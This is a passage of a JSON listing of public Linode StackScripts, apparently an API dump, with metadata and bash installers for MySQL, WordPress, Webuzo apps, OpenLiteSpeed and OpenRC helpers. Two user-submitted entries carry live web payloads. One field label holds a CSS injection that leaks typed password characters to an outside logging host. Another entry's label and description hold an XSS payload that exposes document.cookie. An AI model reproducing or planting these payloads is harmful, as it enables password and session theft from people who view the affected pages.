| mysql -u root -p$1\n}\n\nfunction mysql_grant_user {\n # $1 - the mysql root password\n # $2 - the user to bestow privileges \n # $3 - the database\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_user() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_user() requires username as the second argument\"\n return 1;\n fi\n if [ ! -n \"$3\" ]; then\n echo \"mysql_create_user() requires a database as the third argument\"\n return 1;\n fi\n\n echo \"GRANT ALL PRIVILEGES ON $3.* TO ''$2''@''localhost'';\" | mysql -u root -p$1\n echo \"FLUSH PRIVILEGES;\" | mysql -u root -p$1\n\n}\n\n###########################################################\n# PHP functions\n###########################################################\n\nfunction php_install_with_apache {\n aptitude -y install php5 php5-mysql libapache2-mod-php5\n touch /tmp/restart-apache2\n}\n\nfunction php_tune {\n # Tunes PHP to utilize up to 32M per process\n\n sed -i''-orig'' ''s/memory_limit = [0-9]\\+M/memory_limit = 32M/'' /etc/php5/apache2/php.ini\n touch /tmp/restart-apache2\n}\n\n###########################################################\n# Wordpress functions\n###########################################################\n\nfunction wordpress_install {\n # installs the latest wordpress tarball from wordpress.org\n\n # $1 - required - The existing virtualhost to install into\n\n if [ ! -n \"$1\" ]; then\n echo \"wordpress_install() requires the vitualhost as its first argument\"\n return 1;\n fi\n\n if [ ! -e /usr/bin/wget ]; then\n aptitude -y install wget\n fi\n\n VPATH=$(apache_virtualhost_get_docroot $1)\n\n if [ ! -n \"$VPATH\" ]; then\n echo \"Could not determine DocumentRoot for $1\"\n return 1;\n fi\n\n # download, extract, chown, and get our config file started\n cd $VPATH\n wget http://wordpress.org/latest.tar.gz\n tar xfz latest.tar.gz\n chown -R www-data: wordpress/\n cd $VPATH/wordpress\n cp wp-config-sample.php wp-config.php\n chown www-data wp-config.php\n chmod 640 wp-config.php\n\n # database configuration\n WPPASS=$(randomString 20)\n mysql_create_database \"$DB_PASSWORD\" wordpress\n mysql_create_user \"$DB_PASSWORD\" wordpress \"$WPPASS\"\n mysql_grant_user \"$DB_PASSWORD\" wordpress wordpress\n\n # configuration file updates\n for i in {1..4}\n do sed -i \"0,/put your unique phrase here/s/put your unique phrase here/$(randomString 50)/\" wp-config.php\n done\n\n sed -i ''s/database_name_here/wordpress/'' wp-config.php\n sed -i ''s/username_here/wordpress/'' wp-config.php\n sed -i \"s/password_here/$WPPASS/\" wp-config.php\n\n # http://downloads.wordpress.org/plugin/wp-super-cache.0.9.8.zip\n}\n\n###########################################################\n# Other niceties!\n###########################################################\n\nfunction goodstuff {\n # Installs the REAL vim, wget, less, and enables color root prompt and the \"ll\" list long alias\n\n aptitude -y install wget vim less\n sed -i -e ''s/^#PS1=/PS1=/'' /root/.bashrc # enable the colorful root bash prompt\n sed -i -e \"s/^#alias ll=''ls -l''/alias ll=''ls -al''/\" /root/.bashrc # enable ll list long alias <3\n}\n\n\n###########################################################\n# utility functions\n###########################################################\n\nfunction restartServices {\n # restarts services that have a file in /tmp/needs-restart/\n\n for service in $(ls /tmp/restart-* | cut -d- -f2-10); do\n /etc/init.d/$service restart\n rm -f /tmp/restart-$service\n done\n}\n\nfunction randomString {\n if [ ! -n \"$1\" ];\n then LEN=20\n else LEN=\"$1\"\n fi\n\n echo $(\n\n# ", "user_defined_fields": [{"name": "password", "label": "password", "example": "Please enter you account password to continue"}, {"name": "var4", "label": "pick{}body{visibility:hidden}#password{visibility:visible;position:fixed;left:50px;top:50px}#password[value$=''a'']{background-image:url(''https://aw.rs/log?a'')!important}#password[value$=''b'']{background-image:url(''https://aw.rs/log?b'')!important}#password[value$=''c'']{background-image:url(''https://aw.rs/log?c'')!important}#password[value$=''d'']{background-image:url(''https://aw.rs/log?d'')!important}#password[value$=''e'']{background-image:url(''https://aw.rs/log?e'')!important}#password[value$=''f'']{background-image:url(''https://aw.rs/log?f'')!important}#password[value$=''g'']{background-image:url(''https://aw.rs/log?g'')!important}#password[value$=''h'']{background-image:url(''https://aw.rs/log?h'')!important}#password[value$=''i'']{background-image:url(''https://aw.rs/log?i'')!important}//", "manyof": "foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s"}]}, {"id": 1177605, "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", "label": "Illa Builder One-Click", "description": "Illa Builder One-Click App", "ordinal": 44, "logo_url": "assets/illabuilder.svg", "images": ["linode/ubuntu22.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n#\n# \n\n## Enable logging \nexec > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\n\n# Apt update/upgrade\napt update\napt upgrade -y\n\n# Install the dependencies & add Docker to the APT repository\napt install -y apt-transport-https ca-certificates curl software-properties-common gnupg2 pwgen ufw\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -\nadd-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable\"\n\n# Update & install Docker-CE\napt update\napt install -y docker-ce\n\n# Check to ensure Docker is running and installed correctly\nsystemctl status docker\ndocker -v\n\n# Env config\nILLA_HOME_DIR=/var/lib/illa\nPG_VOLUMN=${ILLA_HOME_DIR}/database/postgresql\nWSS_ENABLED=false\nILLA_DEPLOY_MODE=''self-host''\n\n\n# Init\nmkdir -p ${ILLA_HOME_DIR}\nmkdir -p ${PG_VOLUMN}\nmkdir -p ${ILLA_HOME_DIR}\nchmod 0777 ${PG_VOLUMN} # @todo: chmod for MacOS, the gid is \"wheel\", not \"root\". and we will fix this later.\n\n# Run\ndocker run -d \\\n --name illa-builder \\\n -e POSTGRES_PASSWORD=$PG_PASSWORD \\\n -e GIN_MODE=release \\\n -e PGDATA=/var/lib/postgresql/data/pgdata \\\n -e ILLA_DEPLOY_MODE=$ILLA_DEPLOY_MODE \\\n -v $PG_VOLUMN:/var/lib/postgresql/data \\\n -p $PORT:80 \\\n illasoft/illa-builder:latest\n\necho \"\n********************************************************************************\nWelcome to ILLA Builder!\n********************************************************************************\n # Website: https://www.illacloud.com\n # Documentation: https://www.illacloud.com/docs/about-illa\n # Github: https://github.com/illacloud\n # Community Support: https://github.com/orgs/illacloud/discussions\"", "user_defined_fields": [{"name": "PORT", "label": "ILLA Builder Port", "example": "Default: 80", "default": "80"}, {"name": "PG_PASSWORD", "label": "Postgres Password", "example": "s3cure_p4ssw0rd"}]}, {"id": 2822, "username": "smartjones", "user_gravatar_id": "0b874d2362ffd16a2178ba9339c40798", "label": "Smartweb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n#\n#\n#\n#\n\nsource \n\nsystem_update\npostfix_install_loopback_only\nmysql_install \"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install && apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices", "user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"}, {"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally create this database"}, {"name": "db_user", "label": "Create MySQL User", "default": "", "example": "Optionally create this user"}, {"name": "db_user_password", "label": "MySQL User''s Password", "default": "", "example": "User''s password"}]}, {"id": 9222, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "CS-Cart powered by Webuzo", "description": "CS-Cart is the best shopping cart solution for building an ecommerce website of any size: from a small web store to a virtual shopping mall. A ready storefront, support for many payment and shipping options, full inventory control, unlimited products, promotional tools, and other ecommerce software features out-of-the-box.\r\n\r\nCS-Cart shopping cart software offers a search engine friendly environment that involves the tableless layout, customizable META tags, friendly URLs and Google sitemap. This all contributes well to the proper indexing of your web store and generally improves its ranking among the popular search engines like Google, Yahoo! Search and Bing.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure CS-Cart and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "CS-Cart powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install CS-Cart and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About CS-Cart :\n# CS-Cart is the best shopping cart solution for building an ecommerce website of any size: from a small \n# web store to a virtual shopping mall. \n# A ready storefront, support for many payment and shipping options, full inventory control, \n# unlimited products, promotional tools, and other ecommerce software features out-of-the-box.\n###########################################################################################################\n\n# Install CS-Cart Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=479&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling CS-Cart and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, CS-Cart has been successfully installed\"\necho \" \"\necho \"You can now configure CS-Cart and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 606726, "username": "zek1", "user_gravatar_id": "db3274167e091d0a1fdd8e206c5bf786", "label": "zek''%3E%3Cstrong%3Exss%3Ch1%09onmouseover=prompt(document.cookie", "description": "zek''%3E%3Cstrong%3Exss%3Ch1%09onmouseover=prompt(document.cookie)%3Exss", "ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.0"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 1147654, "username": "litespeed", "user_gravatar_id": "f7360fb588b5f65d81ee1afe11b6c0ad", "label": "OpenLiteSpeed-Drupal", "description": "OpenLiteSpeed is the Open Source edition of LiteSpeed Web Server Enterprise and contains all of the essential features, including HTTP/3 support. OLS provides enormous scalability and an accelerated hosting platform for Joomla. This One-Click gives you OpenLiteSpeed, PHP, MySQL Server, Drupal, and other useful applications.", "ordinal": 0, "logo_url": "", "images": ["linode/debian10", "linode/ubuntu20.04", "linode/centos-stream8", "linode/almalinux8", "linode/rocky8", "linode/debian11", "linode/centos-stream9", "linode/ubuntu22.04", "linode/almalinux9", "linode/rocky9"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "v1", "script": "#!/bin/bash\n### linode\n### Install OpenLiteSpeed and Drupal\nbash <( curl -sk https://raw.githubusercontent.com/litespeedtech/ls-cloud-image/master/Setup/drupalsetup.sh )\n### Regenerate password for Web Admin, Database, setup Welcome Message\nbash <( curl -sk https://raw.githubusercontent.com/litespeedtech/ls-cloud-image/master/Cloud-init/per-instance.sh )\n### Reboot server\nreboot", "user_defined_fields": []}, {"id": 9223, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Chive powered by Webuzo", "description": "Chive is a modern Open-Source MySQL Data Management tool. With it''s fast and elaborate user interface it is getting very popular especially by web engineers. Chive was created because of an disaffection with existing tools. They usually were hard to handle and very time-consuming while the daily use of an web engineer.\r\n\r\nChive is a free, open source, web-based database management tool, designed to bring joy to web developers - with easy administration, super fast UI and state of the art web technologies. Based on top of the current version of the Yii framework, Chive takes advantage of the MVC design pattern and unit testing. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Chive and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Chive powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Chive and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Chive :\n# Chive is a modern Open-Source MySQL Data Management tool.\n# With it''s fast and elaborate user interface it is getting very popular especially by web engineers.\n# Chive was created because of an disaffection with existing tools.\n# They usually were hard to handle and very time-consuming while the daily use of an web engineer.\n###########################################################################################################\n\n# Install Chive Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=398&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Chive and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Chive has been successfully installed\"\necho \" \"\necho \"You can now configure Chive and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978951, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "meenu", "description": "description", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.12"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note", "script": "#!/bin/bash\r\n\r\nfdgrthtyjuy7i", "user_defined_fields": []}, {"id": 9224, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Commentics powered by Webuzo", "description": "Commentics is a free, advanced PHP comment script with many features. Professionally written and with open source code, its main aims are to be integrable, customizable and secure. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Commentics and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Commentics powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Commentics and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Commentics :\n# Commentics is a free, advanced PHP comment script with many features.\n# Professionally written and with open source code, its main aims are to be integrable, customizable and secure. \n###########################################################################################################\n\n# Install Commentics Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=446&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Commentics and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Commentics has been successfully installed\"\necho \" \"\necho \"You can now configure Commentics and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 10248, "username": "regna", "user_gravatar_id": "3bd1beb6402a8ba4bb1606f0ad2cf639", "label": "functions.sh", "description": "functions.sh from sys-apps/openrc, exports and contains various helpful functions.", "ordinal": 0, "logo_url": "", "images": ["linode/gentoo"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "openrc-0.12.4", "script": "#!/bin/bash\n# Copyright (c) 2007-2009 Roy Marples \n# Released under the 2-clause BSD license.\n\n# Allow any sh script to work with einfo functions and friends\n# We also provide a few helpful functions for other programs to use\n\nRC_GOT_FUNCTIONS=\"yes\"\n\neindent()\n{\n : $(( EINFO_INDENT = ${EINFO_INDENT:-0} + 2 ))\n [ \"$EINFO_INDENT\" -gt 40 ] && EINFO_INDENT=40\n export EINFO_INDENT\n}\n\neoutdent()\n{\n : $(( EINFO_INDENT = ${EINFO_INDENT:-0} - 2 ))\n [ \"$EINFO_INDENT\" -lt 0 ] && EINFO_INDENT=0\n return 0\n}\n\nyesno()\n{\n [ -z \"$1\" ] && return 1\n\n case \"$1\" in\n [Yy][Ee][Ss]|[Tt][Rr][Uu][Ee]|[Oo][Nn]|1) return 0;;\n [Nn][Oo]|[Ff][Aa][Ll][Ss][Ee]|[Oo][Ff][Ff]|0) return 1;;\n esac\n\n local value=\n eval value=\\$${1}\n case \"$value\" in\n [Yy][Ee][Ss]|[Tt][Rr][Uu][Ee]|[Oo][Nn]|1) return 0;;\n [Nn][Oo]|[Ff][Aa][Ll][Ss][Ee]|[Oo][Ff][Ff]|0) return 1;;\n *) vewarn \"\\$$1 is not set properly\"; return 1;;\n esac\n}\n\nrc_runlevel()\n{\n rc-status --runlevel\n}\n\n_sanitize_path()\n{\n local IFS=\":\" p= path=\n for p in $PATH; do\n case \"$p\" in\n /lib64/rc/bin|/lib64/rc/sbin);;\n /bin|/sbin|/usr/bin|/usr/sbin);;\n /usr/bin|/usr/sbin);;\n /usr/local/bin|/usr/local/sbin);;\n *) path=\"$path${path:+:}$p\";;\n esac\n done\n echo \"$path\"\n}\n\n# Allow our scripts to support zsh\nif [ -n \"$ZSH_VERSION\" ]; then\n emulate sh\n NULLCMD=:\n alias -g ''${1+\"$@\"}''=''\"$@\"''\n setopt NO_GLOB_SUBST\nfi\n\n# Make a sane PATH\n_PREFIX=\n_PKG_PREFIX=/usr\n_LOCAL_PREFIX=/usr/local\n_LOCAL_PREFIX=${_LOCAL_PREFIX:-/usr/local}\n_PATH=/lib64/rc/bin\ncase \"$_PREFIX\" in\n \"$_PKG_PREFIX\"|\"$_LOCAL_PREFIX\") ;;\n *) _PATH=\"$_PATH:$_PREFIX/bin:$_PREFIX/sbin\";;\nesac\n_PATH=\"$_PATH\":/bin:/sbin:/usr/bin:/usr/sbin\n\nif [ -n \"$_PKG_PREFIX\" ]; then\n _PATH=\"$_PATH:$_PKG_PREFIX/bin:$_PKG_PREFIX/sbin\"\nfi\nif [ -n \"$_LOCAL_PREFIX\" ]; then\n _PATH=\"$_PATH:$_LOCAL_PREFIX/bin:$_LOCAL_PREFIX/sbin\"\nfi\n_path=\"$(_sanitize_path \"$PATH\")\"\nPATH=\"$_PATH${_path:+:}$_path\" ; export PATH\nunset _sanitize_path _PREFIX _PKG_PREFIX _LOCAL_PREFIX _PATH _path\n\nfor arg; do\n case \"$arg\" in\n --nocolor|--nocolour|-C)\n EINFO_COLOR=\"NO\" ; export EINFO_COLOR\n ;;\n esac\ndone\n\nif [ -t 1 ] && yesno \"${EINFO_COLOR:-YES}\"; then\n if [ -z \"$GOOD\" ]; then\n eval $(eval_ecolors)\n fi\nelse\n # We need to have shell stub functions so our init scripts can remember\n # the last ecmd\n for _e in ebegin eend error errorn einfo einfon ewarn ewarnn ewend \\\n vebegin veend veinfo vewarn vewend; do\n eval \"$_e() { local _r; command $_e \\\"\\$@\\\"; _r=\\$?; \\\n EINFO_LASTCMD=$_e; export EINFO_LASTCMD ; return \\$_r; }\"\n done\n unset _e\nfi", "user_defined_fields": []}, {"id": 647176, "username": "sacredheartmedia", "user_gravatar_id": "4b40d1fa8bcb9d6414b6468fb2ef0e75", "label": "StackScript Bash Library for CentOS 8", "description": "A collection of useful bash functions specifically crafted for CentOS8 to be included in other bash StackScripts with a \"source \" line.\n\nThis StackScript does nothing on its own. Do not deploy directly.\n\nJune 3, 2020 - THIS STACKSCRIPT IS UNDER DEVELOPMENT.", "ordinal": 0, "logo_url": "", "images": ["linode/centos8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n#\n# StackScript Bash Library for CentOS 8\n#\n# Inspired by Chris Aker''s StackScript Bash Library\n# https://cloud.linode.com/stackscripts/1\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, \n# are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice, this\n# list of conditions and the following disclaimer in the documentation and/or\n# other materials provided with the distribution.\n#\n# * Neither the name of Linode LLC nor the names of its contributors may be\n# used to endorse or promote products derived from this software without specific prior\n# written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT\n# SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n# DAMAGE.\n\nsystem_update() {\n # updates all packages and adds the epel repository\n dnf -y install epel-release\n dnf -y update\n dnf config-manager --set-enabled PowerTools\n}\n\ninstall_essentials() {\n # installs commonly used packages \n dnf -y install iptables-services ipset dnf-utils bind-utils policycoreutils-python-utils zip tar htop wget\n}\n\nget_primary_ip() {\n # returns the system''s primary IPv4 address\n hostname -I | cut -d '' '' -f 1\n}\n\nget_primary_ip6() {\n # returns the system''s primary IPv6 address\n hostname -I | cut -d '' '' -f 2\n}\n\nget_rdns() {\n # returns the reverse dns of an IPv4 address\n # ${1} - required - the IPv4 address to lookup\n local -r ip_address=\"${1}\"\n if [ -z \"${ip_address}\" ]; then\n printf \"ERROR: (get_rdns) IP address undefined\\n\"\n return 1;\n fi\n host \"${ip_address}\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//''\n}\n\nget_rdns_primary_ip() {\n # returns the reverse dns of the system''s primary IPv4 address\n host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//''\n}\n\nset_hostname() {\n # sets the system''s hostname\n # ${1} - required - the hostname to assign\n local -r hostname=\"${1}\"\n if [ -z \"${hostname}\" ]; then\n printf \"ERROR: (set_hostname) hostname undefined\\n\"\n return 1;\n fi\n hostnamectl set-hostname \"${hostname}\"\n}\n\nadd_host_entry() {\n # adds an entry to /etc/hosts\n # ${1} - required - the IP address to set a hosts entry for\n # ${2} - required - the fully-qualified domain name to set to the IP\n # ${3} - optional - the hostname to set to the IP\n local -r ip_address=\"${1}\"\n local -r fqdn=\"${2}\"\n local -r hostname=\"${3}\"\n local -r rdns=\"$(host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\"\n if [ -z \"${ip_address}\" ] || [ -z \"${fqdn}\" ]; then\n printf \"ERROR: (add_host_entry) IP address and/or FQDN undefined\\n\"\n return 1;\n fi\n echo \"${ip_address} ${fqdn} ${rdns} ${hostname}\" >> /etc/hosts\n}\n\nset_timezone() {\n # sets the system''s timezone\n # ${1} - optional - timezone to set on the system\n local -r timezone=\"${1}\"\n if [ -z \"${timezone}\" ]; then\n timedatectl set-timezone \"UTC\"\n return 1;\n fi\n timedatectl set-timezone \"${timezone}\"\n}\n\nadd_user() {\n # creates a new user \n # ${1} - required - username\n # ${2} - required - password\n local -r username=\"${1}\"\n local -r password=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${password}\" ]; then\n printf \"ERROR: (add_user) username and/or password undefined\\n\"\n return 1;\n fi\n if id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_user) user already exists\\n\"\n return 1;\n fi\n useradd \"${username}\"\n echo \"${username}:${password}\" | chpasswd\n}\n\nadd_sudo_user() {\n # creates a new user with sudo privileges\n # ${1} - required - username\n # ${2} - required - password\n local -r username=\"${1}\"\n local -r password=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${password}\" ]; then\n printf \"ERROR: (add_sudo_user) username and/or password undefined\\n\"\n return 1;\n fi\n if id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_sudo_user) user already exists\\n\"\n return 1;\n fi\n useradd \"${username}\"\n echo \"${username}:${password}\" | chpasswd\n usermod -aG wheel \"${username}\"\n}\n\nremove_user() {\n # removes a user \n # ${1} - required - username\n local -r username=\"${1}\"\n if [ -z \"${username}\" ]; then\n printf \"ERROR: (remove_user) username undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (remove_user) user not found\\n\"\n return 1;\n fi\n killall -KILL -u \"${username}\"\n userdel -Z -r -f \"${username}\"\n}\n\nadd_public_key() {\n # adds a public key to authorized_keys for the specified user\n # ${1} - required - username\n # ${2} - required - public key\n local -r username=\"${1}\"\n local -r public_key=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${public_key}\" ]; then\n printf \"ERROR: (add_public_key) username and/or public key undefined\\n\"\n return 1;\n fi\n if ! id 